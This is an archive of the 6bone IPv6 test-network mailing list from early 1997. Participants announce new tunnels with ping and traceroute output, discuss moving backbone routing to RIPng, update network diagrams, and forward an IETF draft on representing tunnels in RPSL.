sending 64 bytes to 5f05:2000:c733:2100::5
Packet length= 64, header length= 40, priority= 0, flow label= 0
Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=4. time=10 ms
^C
----anger.ipv6.inner.net PING Statistics----
5 packets transmitted, 5 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 9/24/53

-- 
David C. Lee, EE PhD student/GRA - http://www.visc.vt.edu/~dlee - dlee@vt.edu
PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111

From majordom@ISI.EDU  Fri Jan 31 11:22:53 1997
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Subject: Changes to NIST 6Bone Reachability WWW Page
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Both v4 and v6 traceroute dumps have been added to the NIST 6Bone
reachability page (http://www.antd.nist.gov/~ipng/NIST-6bone-status.html)
This should help in tracking down and debugging some routing problems.

Just click on a particular address to get to the traceroute information.

Other changes include:

	1. Statistics are gathered concurrently.  This was done in an 
           effort to keep up with the growing size of the 6bone.  
           The timestamp of when a site is actually pinged
           can be found at the bottom of the traceroute dump.

	2. The computed RTT information is no longer on the page.

	3. No longer print RTT when there is a 100% loss.

	4. The traceroute dump will report a bad address if detected.


From majordom@ISI.EDU  Sun Feb  2 18:26:09 1997
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199702021826.SAA14953@jpd.ch.man.ac.uk>
Subject: Historic 6bone info
To: 6bone@isi.edu
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Hi

Does anyone have historic maps or registry info for the 6bone? I'm trying
to map out how it's changed since it started.

Jonathan


From majordom@ISI.EDU  Sun Feb  2 23:49:47 1997
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To: Jonathan Day <jcday@jpd.ch.man.ac.uk>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Historic 6bone info
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At 10:26 AM -0800 2/2/97, Jonathan Day wrote:
...
>Does anyone have historic maps or registry info for the 6bone? I'm trying
>to map out how it's changed since it started.

I never saved them when I generated new ones as it was a pain for me to do so.


Sorry,

Bob



From majordom@ISI.EDU  Mon Feb  3 01:00:51 1997
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Date: Mon, 3 Feb 1997 12:00:51 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
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Falks,

We're currently experience a very pure 6bone connectivity.
I think that the current situation is quite detrimental
to 6bone effort. IMO, the main problem is that some/all core 
routers still use static routing to route between themselves. 
This leads to routing loops as well as to blackholing traffic to
disabled routers even if an alternative path is available.

To improve 6bone routing I propose to adopt the following
policies:

- restrict the backbone sites to only those routers that
  support RIPng;

- make the backbone routers to use exclusively RIPng to
  route between themselves;

- the backbone routers can use static routes only to route
  to their leaf clients;

- the backbone routers should not advertise default prefixes
  (e.g. ::0/0 5f00::/16) between themselves.  It is ok
  to advertise default prefixes to leaf clients;

- each backbone router should maintain a RIPng tunnel with
  two or more other backbone routers.

I think these, I hope, not too restrictive rules will improve
overall 6bone connectivity as well as make lives router
administrators easier.

Dimitry

From majordom@ISI.EDU  Mon Feb  3 20:27:27 1997
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Message-Id: <970203192727.ZM16242@rama.imag.fr>
Date: Mon, 3 Feb 1997 19:27:27 +0100
In-Reply-To: dhaskin@baynetworks.com (Dimitry Haskin)
        "6bone connectivity" (Feb  3, 12:00pm)
References: <199702031700.MAA01476@pobox.engeast.BayNetworks.COM>
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On Feb 3, 12:00pm, Dimitry Haskin wrote:
> Subject: 6bone connectivity

> - each backbone router should maintain a RIPng tunnel with
>   two or more other backbone routers.


I agree with dimitri's description of core routers.
I would like to add that we should have a map of the backbone tunnels.
Right now, i'm getting many many routes from wide/jp, which is
obviously not the shortest path for G6. So I suspect some parts
of the 6-bone are either isolated from the others or depending
on one particular tunnel.

Bob, could you draw those core tunnels on your map?
Somehow, this should help us decide where transatlantic/transpacific
tunnels are.

	- Alain.


From majordom@ISI.EDU  Mon Feb  3 02:54:53 1997
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From: Bob Fink LBNL <RLFink@lbl.gov>
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I agree with Dimitry's suggestion.  Let's try it on for size and see how it
works!


Bob

==============================================
At 9:00 AM -0800 2/3/97, Dimitry Haskin wrote:
>Falks,
>
>We're currently experience a very pure 6bone connectivity.
>I think that the current situation is quite detrimental
>to 6bone effort. IMO, the main problem is that some/all core
>routers still use static routing to route between themselves.
>This leads to routing loops as well as to blackholing traffic to
>disabled routers even if an alternative path is available.
>
>To improve 6bone routing I propose to adopt the following
>policies:
>
>- restrict the backbone sites to only those routers that
>  support RIPng;
>
>- make the backbone routers to use exclusively RIPng to
>  route between themselves;
>
>- the backbone routers can use static routes only to route
>  to their leaf clients;
>
>- the backbone routers should not advertise default prefixes
>  (e.g. ::0/0 5f00::/16) between themselves.  It is ok
>  to advertise default prefixes to leaf clients;
>
>- each backbone router should maintain a RIPng tunnel with
>  two or more other backbone routers.
>
>I think these, I hope, not too restrictive rules will improve
>overall 6bone connectivity as well as make lives router
>administrators easier.
>
>Dimitry




From majordom@ISI.EDU  Mon Feb  3 02:56:38 1997
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References: dhaskin@baynetworks.com (Dimitry Haskin)        "6bone
 connectivity" (Feb  3, 12:00pm)
 <199702031700.MAA01476@pobox.engeast.BayNetworks.COM>
Mime-Version: 1.0
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Date: Mon, 3 Feb 1997 10:56:38 -0800
To: "Alain Durand" <Alain.Durand@imag.fr>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone connectivity
Cc: 6bone@isi.edu (6BONE Mailer)
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At 10:27 AM -0800 2/3/97, Alain Durand wrote:
...
>I agree with dimitri's description of core routers.
>I would like to add that we should have a map of the backbone tunnels.
>Right now, i'm getting many many routes from wide/jp, which is
>obviously not the shortest path for G6. So I suspect some parts
>of the 6-bone are either isolated from the others or depending
>on one particular tunnel.
...
>Bob, could you draw those core tunnels on your map?
>Somehow, this should help us decide where transatlantic/transpacific
>tunnels are.

I'll try to draw up something tomorrow that you can retrieve from the main map.

Bob



From majordom@ISI.EDU  Mon Feb  3 06:27:54 1997
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Date: Mon, 3 Feb 1997 14:27:54 -0800
To: dhaskin@baynetworks.com (Dimitry Haskin)
From: Steve Deering <deering@cisco.com>
Subject: Re: 6bone connectivity
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Dimitry Haskin wrote:

> We're currently experience a very pure 6bone connectivity.

Great!  That's how it should be.

Oh, you meant "poor", not "pure".  :-(

Never mind.

Steve




From majordom@ISI.EDU  Mon Feb  3 13:40:07 1997
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Date: Mon, 3 Feb 1997 18:40:07 -0500 (EST)
From: "Dorian R. Kim" <dorian@cic.net>
To: 6bone@isi.edu
Subject: New tunnel CICNet <-> VT
Message-Id: <Pine.GSO.3.95.970203183732.16063K-100000@nic.hq.cic.net>
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A tunnel from CICNET to VT is now up, although it's still experimental rather
than operational. (what's the difference you ask? I'm not sure. :)) VT is
currently routed via static routes.

6bone#ping ipv6 vt

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F05:2000:80AD:5800:0058:0800:2023:2F8E,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 40/52/72 ms

6bone#traceroute ipv6 vt

Type escape sequence to abort.
Tracing the route to vt (5F05:2000:80AD:5800:0058:0800:2023:2F8E)

  1 vt (5F05:2000:80AD:5800:0058:0800:2023:2F8E) 48 msec 40 msec 80 msec


-dorian


From majordom@ISI.EDU  Tue Feb  4 05:13:40 1997
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Date: Tue, 4 Feb 1997 10:13:40 -0500 (EST)
From: "Dorian R. Kim" <dorian@cic.net>
To: Dimitry Haskin <dhaskin@baynetworks.com>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone connectivity
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On Mon, 3 Feb 1997, Dimitry Haskin wrote:

> To improve 6bone routing I propose to adopt the following
> policies:
> 
> - restrict the backbone sites to only those routers that
>   support RIPng;
> 
> - make the backbone routers to use exclusively RIPng to
>   route between themselves;
> 
> - the backbone routers can use static routes only to route
>   to their leaf clients;

I'd also like to see phasing out of static routes to non-directly connected
sites.

> - the backbone routers should not advertise default prefixes
>   (e.g. ::0/0 5f00::/16) between themselves.  It is ok
>   to advertise default prefixes to leaf clients;
> 
> - each backbone router should maintain a RIPng tunnel with
>   two or more other backbone routers.

I think these are excellent guidelines.

-dorian


From majordom@ISI.EDU  Tue Feb  4 03:02:39 1997
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Date: Tue, 4 Feb 1997 11:02:39 -0800
To: dlee@visc.vt.edu (David Lee), 6bone@isi.edu
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: New Site
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David,

I can't see your tunnel entry at Inner in the RIPE-NCC registry.  I'll need
that to put you on the 6bone diagram.

Also, will you be bringing up another tunnel to a known backbone or transit
site?  Inner has not (to date) been identified as either.


Thanks,

Bob

==========================================
At 10:04 AM -0800 1/31/97, David Lee wrote:
>RIPE record:
>
>site:           Virginia Polytechnic Institute and State University (VT)
>location:       Blacksburg, Virginia, US
>loc-string:     N 37-12.5 W080-24.4
>prefix:         5F05:2000:80AD:5800::0/64
>ping:           5F05:2000:80AD:5800:0058:0800:2023:1D71
>tunnel:         128.173.88.82 198.82.204.73 Inner
>contact:        David Lee <dlee@vt.edu>
>status:         operational since January 29, 1997
>remark:         Routes will be added on request to dlee@vt.edu
>remark:         Other information at http://www.visc.vt.edu/ipv6
>remark:         and at http://www.ee.ipv6.vt.edu/ipv6
>changed:        dlee@vt.edu 970131
>source:         RIPE
>
>Note that DNS delegation has not occurred yet and should relatively soon.
>Currently, send your resolution requests to ocarina.ee.vt.edu.
>
>Tunnel ping information:
>
>ocarina:/home/dlee > ping anger.ipv6.inner.net
>Using IPv6.
>PING anger.ipv6.inner.net: 56 data bytes
>sending 64 bytes to 5f05:2000:c733:2100::5
>Packet length= 64, header length= 40, priority= 0, flow label= 0
>Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=0. time=53 ms
>sending 64 bytes to 5f05:2000:c733:2100::5
>Packet length= 64, header length= 40, priority= 0, flow label= 0
>Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=1. time=26 ms
>sending 64 bytes to 5f05:2000:c733:2100::5
>Packet length= 64, header length= 40, priority= 0, flow label= 0
>Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=2. time=25 ms
>sending 64 bytes to 5f05:2000:c733:2100::5
>Packet length= 64, header length= 40, priority= 0, flow label= 0
>Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=3. time=9 ms
>sending 64 bytes to 5f05:2000:c733:2100::5
>Packet length= 64, header length= 40, priority= 0, flow label= 0
>Echo reply: 64 bytes from 5f05:2000:c733:2100::5: icmp_seq=4. time=10 ms
>^C
>----anger.ipv6.inner.net PING Statistics----
>5 packets transmitted, 5 packets received, 0% packet loss
>round-trip (ms)  min/avg/max = 9/24/53
>
>--
>David C. Lee, EE PhD student/GRA - http://www.visc.vt.edu/~dlee - dlee@vt.edu
>PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
>Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111




From majordom@ISI.EDU  Tue Feb  4 03:07:23 1997
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Date: Tue, 4 Feb 1997 11:07:23 -0800
To: "Dorian R. Kim" <dorian@cic.net>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone connectivity
Cc: 6bone@ISI.EDU
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Dorian,

At 7:13 AM -0800 2/4/97, Dorian R. Kim wrote:
>On Mon, 3 Feb 1997, Dimitry Haskin wrote:
...
>> - the backbone routers can use static routes only to route
>>   to their leaf clients;
>
>I'd also like to see phasing out of static routes to non-directly connected
>sites.

I certainly agree on this point.


Bob



From majordom@ISI.EDU  Tue Feb  4 03:55:19 1997
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Date: Tue, 4 Feb 1997 11:55:19 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone backbone route diagram now available
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I have added a hot button in the middle of the 6bone diagram backbone site
bubble that points to a b/b links diagram.

Take a look...interesting view of connectivity.


What I need from backbone sites now is identification of which links are
using other than static routing, and which one they use of course (mostly
RIPng, a little IDRPv6, I suspect).


Anyway, let me know what you think...is it worth maintaining this?


Thanks,

Bob



From majordom@ISI.EDU  Tue Feb  4 05:19:33 1997
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Date: Tue, 4 Feb 1997 16:19:33 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199702042119.QAA03396@pobox.engeast.BayNetworks.COM>
To: 6bone@isi.edu, RLFink@lbl.gov
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Bob,

> 
> What I need from backbone sites now is identification of which links are
> using other than static routing, and which one they use of course (mostly
> RIPng, a little IDRPv6, I suspect).
>
Currently BAY sends and receives RIPng updates over the following
backbone tunnels:

      BAY <-> G6/FR
      BAY <-> DIGITAL-CA/US
      BAY <-> NRL/US (132.250.90.3) -- not in RIPE yet


BAY is also sending RIPng updates to WIDE/JP but we currently do not
receive any RIPng routes from WIDE.
    
> 
> Anyway, let me know what you think...is it worth maintaining this?
> 
Definitely.
> 
> Bob
> 
Dimitry

From majordom@ISI.EDU  Tue Feb  4 15:20:52 1997
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Date: Tue, 4 Feb 1997 20:20:52 -0500 (EST)
From: "Dorian R. Kim" <dorian@cic.net>
Reply-To: "Dorian R. Kim" <dorian@cic.net>
To: 6bone@isi.edu
Subject: New tunnel CICNET <-> SURFNET
In-Reply-To: <Pine.GSO.3.95.970203183732.16063K-100000@nic.hq.cic.net>
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A tunnel from CICNET to SURFNET is now up. SURFNET is currently routed via
static routes, with plans to move to RIPng.

6bone#ping ipv6 surfnet

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F04:4F00:C057:6E00:003C:00C0:4FC6:9CC7,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 128/132/136 ms

6bone#traceroute ipv6 surfnet

Type escape sequence to abort.
Tracing the route to zesbot.ipv6.surfnet.nl 
(5F04:4F00:C057:6E00:003C:00C0:4FC6:9CC7)

  1 zesbot.ipv6.surfnet.nl (5F04:4F00:C057:6E00:003C:00C0:4FC6:9CC7) 132 msec
*  136 msec


-dorian





From majordom@ISI.EDU  Wed Feb  5 15:44:11 1997
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Date: Wed, 05 Feb 1997 15:44:11 +0000
From: Andrea Rivetti <reevo@alp.net>
Subject: 6bone map
To: 6bone@isi.edu
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Hello,

we are the managers of the IPv6 isle at POLITO/IT.
First of all, we are running a RIPv6 tunnel with DIGITAL-CA which is
our default route, so I think it's better to change our position on the
map...

We want to announce our web site at www.ipv6.polito.it which contains
a reachability monitor at www.ipv6.polito.it/test/test.html

bye

Andrea Rivetti		reevo@alp.net
Andrea Spera		spera@csp.it

From majordom@ISI.EDU  Wed Feb  5 03:14:41 1997
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Date: Wed, 05 Feb 1997 09:14:41 -0600
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: Historic 6bone info
In-Reply-To: "03 Feb 1997 07:49:47 PST." <"v03007806af1bb8bef109"@[128.3.9.22]>
To: Jonathan Day <jcday@jpd.ch.man.ac.uk>, 6bone@isi.edu (6BONE Mailer)
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> >Does anyone have historic maps or registry info for the 6bone? I'm trying
> >to map out how it's changed since it started.
> 
> I never saved them when I generated new ones as it was a pain for
> me to do so.

Well, in that case I'll make available the few I saved:

6bone.960903.gif
6bone.960918.gif
6bone.960920.gif
6bone.961009.gif
6bone.961119.gif

They will be temporarily available at http://www-dcg.fnal.gov/6bone/
_________________________________________________________
Matt Crawford          crawdad@fnal.gov          Fermilab
  PGP: D5 27 83 7A 25 25 7D FB  09 3C BA 33 71 C4 DA 6A

From majordom@ISI.EDU  Wed Feb  5 00:05:32 1997
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Date: Wed, 5 Feb 1997 08:05:32 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone backbone links diagram change (version 2)
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6bone backbone links diagram version 2:

1.  added various RIPng notations for those links reported to me

2.  added IDRPv6 notation on UNI-C/DK to G6/FR link

3.  noted one-way RIPng on BAY/US to WIDE/JP link

4.  made static (or yet uncharacterized) links be dashed to emphasize we
would like them to be "solid" links :-)


Have made no further judgement on whether a site should be a backbone site.
I think this will sort itself out over time.

General sentiment seems to be to keep this backbone links diagram going.


Thanks,

Bob




From majordom@ISI.EDU  Wed Feb  5 00:01:20 1997
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Date: Wed, 5 Feb 1997 08:01:20 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone diagram change (version 49)
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6bone diagram version 49:

1.  VT/US and SURFNET/US added with tunnels to CICNET/US

2.  POLITO/IT rehomed to DIGITAL-CA/US (was CSELT/IT)


Bob



From majordom@ISI.EDU  Wed Feb  5 00:18:06 1997
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Date: Wed, 5 Feb 1997 08:18:06 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: comments on David Meyers's RPSL draft
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I have seen no comments on this list regarding David Meyer's "Representing
Tunnels in RPSL" internet draft.

It is one of our working group tasks to provide feedback to the RPSL folk
on this.

Can anyone tell me what might have transpired on this topic?


Thanks,

Bob

===========================================================
From: "David M. Meyer" <meyer@network-services.uoregon.edu>
Subject: RPSL extensions for tunnels
To: 6bone@isi.edu
Date: Tue, 10 Dec 1996 17:22:09 -0800 (PST)
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	Folks,

	I didn't get a chance to present this in the BOF, so
	here's the draft. Any comments appreciated.

	Dave


-----------
INTERNET-DRAFT                                            David Meyer
draft-ietf-rps-tunnels-01.txt                    University of Oregon
Category: Standards Track                               November 1996


                      Representing Tunnels in RPSL


Status of this Memo

   This document provides extensions to the Routing Policy Specification
   Language [RPSL] to provide support for tunnels of various types.

Internet Drafts

   This document is an Internet-Draft.  Internet-Drafts are working
   documents of the Internet Engineering Task Force (IETF), its areas,
   and its working groups.  Note that other groups may also distribute
   working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as ``work in progress.''

   To learn the current status of any Internet-Draft, please check the
   ``1id-abstracts.txt'' listing contained in the Internet-Drafts Shadow
   Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe),
   munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or
   ftp.isi.edu (US West Coast).

Abstract

   This document specifies the language and set of semantics describing
   tunnels in the Routing Policy Specification Language (RPSL). It
   defines a new tunnel class, inet-tunnel, and a set of extensions to
   the inet-rtr class. An instance of the inet-tunnel class specifies
   endpoints for tunnels of various encapsulation types, including DVMRP
   [DVMRP], GRE [GRE], and IPv6 [IPV6].

   This memo is a product of the Routing Policy System Working Group
   (RPS) in the Operational Requirements area of the Internet Engineer-
   ing Task Force. Submit comments to <rps@isi.edu> or the author.

Introduction

   Tunneling is a fundamental networking technology that is used in a
   variety circumstances. A common use of tunneling is to incrementally
   deploy a new network layer protocol. The approach is to encapsulate
   ("tunnel") the new protocol through the existing network layer proto-
   col, usually IP. Examples of this approach include include the multi-
   cast backbone [MBONE], where multicast packets are encapsulated in IP
   packets using protocol 4 (IP in IP), and IPv6 backbone [6BONE], where
   IPv6 packets are encapsulated in IP packets using IP protocol 41
   [V6TRNS].

   Another use of tunneling is to force congruence between the existing
   (IP unicast) topology and some new topology. Due the special require-
   ments of IP multicast routing, the MBONE is also an example of this
   use of tunneling.

   This document describes extensions to RPSL to support general tunnel-
   ing mechanisms. The extensions support point to point and point to
   multipoint tunnels of encapsulation types, including DVMRP, GRE, and
   IPv6. In addition to the encapsulation, a protocol to run inside the
   tunnel can also be specified.


Extensions to the inet-rtr class

   The inet-rtr class' peer attribute is extended to describe tunnels by
   assigning a new peer type (tunnel). The tunnel peer attribute has the
   following fields:


   inet-rtr: <name>
    ...
   peer: tunnel <dest-IP1> source=<source-IP1>
                encap=<encapsulation type>
                name=<name1>
    ...
   peer: tunnel <dest-IP2> source=<source-IP2>
                encap=<encapsulation type>
                name=<name2>



   The type clause of then tunnel peer attribute describes the encapsu-
   lation on the tunnel. The defined encapsulation types are DVMRP
   [DVMRP], GRE [GRE], or IPv6 [IPV6].  The name clause refers to a tun-
   nel object (see below). If there are multiple tunnel peer attributes
   with the same name attribute, then the tunnel is a point to mul-
   tipoint tunnel. Note that a router can be the source of multiple tun-
   nels.

   Each inet-rtr tunnel peer instance has a mandatory name, source, and
   destination attributes. The tunnel source attribute must correspond
   to an ifaddr attribute for the inet-rtr instance.

   The inet-rtr instance below describes a DVMRP tunnel with source
   204.70.32.6 and destination 204.70.158.61. The tag MBONE-TUNNEL-EUG
   refers to a tunnel instance (see below). The same router has a GRE
   tunnel.


   inet-rtr: eugene-isp.nero.net
   loacalas: AS4600
   ifaddr:   204.70.32.6 masklen 30
    ...
   peer: tunnel encap=DVMRP name=MBONE-TUNNEL-EUG 204.70.158.61 204.70.32.6
   peer: tunnel encap=GRE name=GRE-TUNNEL-EUG 206.42.19.240 204.70.32.6
    ...



The inet-tunnel Class

   A tunnel is specified by an instance of the inet-tunnel class. The
   attributes of the inet-tunnel class are described below.


   inet-tunnel:     <name>
   tunnel-source:   <inet-router key>
   tunnel-sink:     <inet-router key 1>
    ...
   tunnel-sink:     <inet-router key n>
   tunnel-protocol: <protocol>
   tunnel-in: from  <inet-router key1> accept <input-filter-spec1>
   tunnel-in: from  <inet-router key2> accept <input-filter-spec2>
    ...
   tunnel-in:  from <inet-router keyn> accept <input-filter-specn>
   tunnel-out: to   <inet-router key1>
                    [action
                      [scope=<ttl1>;]
                      [boundary=<prefixn/masklen1>;]
                      [dvmrp-metric=<n>;]]
                    announce <output-filter-spec1>
   tunnel-out: to   <inet-router key2>
                    [action
                      [scope=<ttl2>;]
                      [boundary=<prefixn/masklen2>;]
                      [dvmrp-metric=<n>;]]
                    announce <output-filter-spec2>
    ...
   tunnel-out: to   <inet-router keyn>
                    [action
                      [scope=<ttln>;]
                      [boundary=<prefixn/masklenn>;]
                      [dvmrp-metric=<n>;]]
                    announce <output-filter-specn>





inet-tunnel Class Attributes



   inet-tunnel:     mandatory, single valued
   tunnel-source:   mandatory, single valued, class key
   tunnel-sink:     mandatory, single valued, class key
   tunnel-protocol: mandatory, single valued
   tunnel-in:       mandatory, multi-valued
   tunnel-out:      mandatory, multi-valued



   An instance of the inet-tunnel class describes a single tunnel
   (although the tunnel-source may be the source of multiple tunnels).
   The name attribute is a key that is used in an inet-rtr object to
   reference the tunnel object. The tunnel may be point to point or
   point to multipoint. A multipoint tunnel will have more than one
   tunnel-sink value. Each tunnel-sink must have corresponding tunnel-in
   and tunnel-out attributes. The tunnel-protocol is the protocol to run
   "inside" the tunnel. The values for tunnel-protocol include BGP,
   RIPv6, DVMRP, PIM-DM, and PIM-SM. See [SSMMC] for an application that
   uses BGP tunneled in GRE.

   The inet-tunnel class's tunnel-out attribute includes an action
   clause for which the currently defined actions include: (i).  The
   minimum IP time-to-live required for a packet to be forwarded to the
   specified endpoint (in the case of multipoint tunnels, there may be
   per endpoint scopes), (ii). A boundary attribute describes a class of
   packets that will not be forwarded through the tunnel, and (iii). A
   DVMRP metric. These attributes are particularly relevant to multicast
   routing.

   The inet-tunnel class also has routing filter specifications which
   describe filters that are appropriate for the tunnel's routing proto-
   col. In the case of DVMRP, the filter specification
    can be the list of network prefixes accepted or advertised.

   Finally, an instance of the inet-tunnel class also has all of the
   administrative fields present in an aut-num class, including guar-
   dian, admin-c, tech-c, notify, mnt-by, changed, and source.




Example


   In this example, the inet-rtr eugene-isp.nero.net has a DVMRP tunnel
   with the sink on the inet-rtr dec3800-2-fddi-0.SanFrancisco.mci.net.
   The tunnel object is called MBONE-TUNNEL-EUG. eugene-isp.nero.net
   will accept any routes. eugene-isp.nero.net will forward packets to
   the DVMRP tunnel if the packet's time-to-live is greater than or
   equal to 64. In addition, eugene-isp.nero.net will not pass any pack-
   ets that match the administrative scope boundary filter (in this
   case, 239.254.0.0/16).

   In addition, the inet-rtr eugene-isp.nero.net has a GRE tunnel
   represented by GRE-TUNNEL-EUG.
















   inet-tunnel:     MBONE-TUNNEL-EUG
   tunnel-source:   204.70.158.61
   tunnel-sink:     204.70.32.6
   tunnel-protocol: DVMRP
   tunnel-in:       from 204.70.158.61 accept ANY
   tunnel-out:      to 204.70.158.61
                    action
                       scope=64;
                       boundary={239.254.0.0/16};
                       dvmrp-metric=1;
                    announce AS-NERO-TRANSIT
   guardian:    meyer@ns.uoregon.edu
   admin-c:     DMM65
   tech-c:      DMM65
   notify:      nethelp@ns.uoregon.edu
   mnt-by:      MAINT-AS3582
   changed:     meyer@ns.uoregon.edu 961122
   source:      RADB

   inet-tunnel:     GRE-TUNNEL-EUG
   tunnel-source:   204.70.158.61
   tunnel-sink:     206.42.19.240
   tunnel-protocol: PIM-DM
   tunnel-in:       from 206.42.19.240 accept ANY
   tunnel-out:      to 206.42.19.240
                    action
                      scope=64;
                    announce ANY
   guardian:    meyer@ns.uoregon.edu
   admin-c:     DMM65
   tech-c:      DMM65
   notify:      nethelp@ns.uoregon.edu
   mnt-by:      MAINT-AS3582
   changed:     meyer@ns.uoregon.edu 961122
   source:      RADB





Security Considerations

   Security considerations are not discussed in this memo.

References
      [6BONE]  See http://www-6bone.lbl.gov/6bone/

      [DVMRP]  T. Pusateri, "Distance Vector Multicast Routing
               Protocol", draft-ietf-idmr-dvmrp-v3-03, September,
               1996.

      [GRE]    S. Hanks, T. Li, D. Farinacci, and P. Traina, "Generic
               Routing Encapsulation (GRE)", RFC1701, October, 1994.

      [IPV6]   A. Conta and S. Deering, "Generic Packet Tunneling in
               IPv6", draft-ietf-ipngwg-ipv6-tunnel-04.txt, October,
               1996

      [MBONE]  See http://www.best.com/~prince/techinfo/misc.html

      [RPSL]   C. Alaettinoglu, et. al., "Routing Policy
               Specification Language (RPSL)",
               draft-ietf-rps-rpsl-00.txt, October, 1996.

      [SSMMC]  Y. Rekhter, "Auto route injection with tunnelling",
               NANOG, October, 1996. For additional information, see
               http://www.academ.com/nanog/oct1996/multihome.html

      [V6TRNS] R. Gilligan and E. Nordmark, "Transition Mechanisms
               for IPv6 Hosts and Routers", RFC 1933, April 1996.


Author's Address

   David Meyer
   University of Oregon
   1225 Kincaid St.
   Eugene, OR 97403

   phone:  +1 541.346.1747

   email:  meyer@ns.uoregon.edu

- end



From majordom@ISI.EDU  Wed Feb  5 00:14:45 1997
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To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new stats page from POLITO/IT added
Sender: owner-6bone@ISI.EDU
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I have added Andrea Rivetti's and Andrea Spera's POLITO/IT ping stats page
to the 6bone statistics page.

Thanks to them for the effort!


Bob



From majordom@ISI.EDU  Wed Feb  5 03:09:56 1997
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Message-Id: <199702051709.KAA18639@nag.cs.colorado.edu>
To: 6bone@isi.edu
Subject: New tunnel
From: Adam Boggs <boggs@cs.colorado.edu>
Date: Wed, 05 Feb 1997 10:09:56 -0700
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There is a new tunnel up from the University of Colorado
(CU-BOULDER) to the University of Oregon (UO).  Actually,
it's been up for about a week now.  It is currently routed
with static routes with plans to move to RIPng.


networks.cs:boggs> ping6 5F0D:E900:80DF:E000:0001:0060:3E0B:3010
PING 5F0D:E900:80DF:E000:0001:0060:3E0B:3010: 56 data bytes
64 bytes from 5f0d:e900:80df:e000:1:60:3e0b:3010: icmp_seq=0 time=43.1 ms
64 bytes from 5f0d:e900:80df:e000:1:60:3e0b:3010: icmp_seq=1 time=40.0 ms
64 bytes from 5f0d:e900:80df:e000:1:60:3e0b:3010: icmp_seq=2 time=44.2 ms
64 bytes from 5f0d:e900:80df:e000:1:60:3e0b:3010: icmp_seq=3 time=43.7 ms
64 bytes from 5f0d:e900:80df:e000:1:60:3e0b:3010: icmp_seq=4 time=38.9 ms
64 bytes from 5f0d:e900:80df:e000:1:60:3e0b:3010: icmp_seq=5 time=41.2 ms
64 bytes from 5f0d:e900:80df:e000:1:60:3e0b:3010: icmp_seq=6 time=39.1 ms
64 bytes from 5f0d:e900:80df:e000:1:60:3e0b:3010: icmp_seq=7 time=42.1 ms

--- 5F0D:E900:80DF:E000:0001:0060:3E0B:3010 ping statistics ---
 9 packets transmitted, 9 packets received, 0% packet loss
round-trip min/avg/max = 38.9/41.3/44.2 ms
networks.cs:boggs>



-Adam Boggs
University of Colorado, Boulder
Undergraduate Operations


From majordom@ISI.EDU  Wed Feb  5 01:39:39 1997
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From: bmanning@ISI.EDU
Posted-Date: Wed, 5 Feb 1997 09:39:39 -0800 (PST)
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Subject: Re: 6bone@isi.edu
To: jcday@jpd.ch.man.ac.uk (Jonathan Day)
Date: Wed, 5 Feb 1997 09:39:39 -0800 (PST)
Cc: 6bone@isi.edu
In-Reply-To: <199702051601.QAA32003@jpd.ch.man.ac.uk> from "Jonathan Day" at Feb 5, 97 04:01:39 pm
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> >  I've got the start dates for all the ip6.int registrations.
> 
> 	Would it be at all possible to obtain a list of start dates from
> you?
> 

0.0.5.2.1.0.f.5.ip6.int.	Jan96
0.0.5.b.6.0.f.5.ip6.int.	feb96
0.0.5.0.d.0.f.5.ip6.int.	feb96
0.0.0.3.0.0.f.5.ip6.int.	Mar96
0.0.5.a.d.0.f.5.IP6.INT.	Apr'96
0.0.3.b.c.0.f.5.ip6.int.	july96
0.0.0.3.0.0.f.5.ip6.int.	july96
0.0.d.6.0.0.f.5.ip6.int.	july96
0.0.0.2.5.0.f.5.ip6.int.	july96
0.0.4.c.9.0.f.5.IP6.INT.	aug96
0.0.9.2.b.0.f.5.IP6.INT.	aug96
0.0.b.f.4.0.f.5.IP6.INT.	aug96
0.0.9.e.d.0.f.5.ip6.int.	aug96
0.0.7.3.b.0.f.5.ip6.int.	aug96
0.0.b.2.7.0.f.5.ip6.int.	aug96
0.0.8.8.0.1.f.5.IP6.INT.	aug96
0.0.7.1.B.0.F.5.IP6.INT.	sep96
0.0.9.2.1.0.f.5.ip6.int.	sep96
0.0.9.e.d.0.f.5.ip6.int.	sep96
0.0.1.3.0.0.f.5.ip6.int.	sep96
0.0.f.d.b.1.f.5.ip6.int.	sep96
